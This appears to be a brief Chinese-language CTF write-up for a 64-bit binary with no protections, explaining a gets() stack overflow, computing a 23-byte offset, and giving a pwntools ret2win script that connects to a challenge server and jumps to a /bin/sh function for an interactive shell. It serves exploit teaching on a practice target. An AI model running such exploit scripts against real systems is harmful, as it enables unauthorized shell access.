64位,源程序几乎没有开启任何保护
用ida打开
存在危险函数gets,没有限制输入,存在栈溢出漏洞
还有一个func函数执行了/bin/sh命令
双击s来到Stack of main视图,发现只需存入15个字节即可劫持函数返回地址
因为是64位程序,还需要加8字节的返回地址,因此偏移量为23
或者这里也可以使用pwntools计算一下:
pattern create 200
pattern offset A(AADAA;
也可以确定偏移量是23
因此编写脚本
调用/bin/sh的地址为0x40118A
##!/usr/bin/env python
from pwn import *
sh = remote('node4.buuoj.cn',27748)
target = 0x40118A
sh.sendline('A' * (23) + p64(target))
sh.interactive()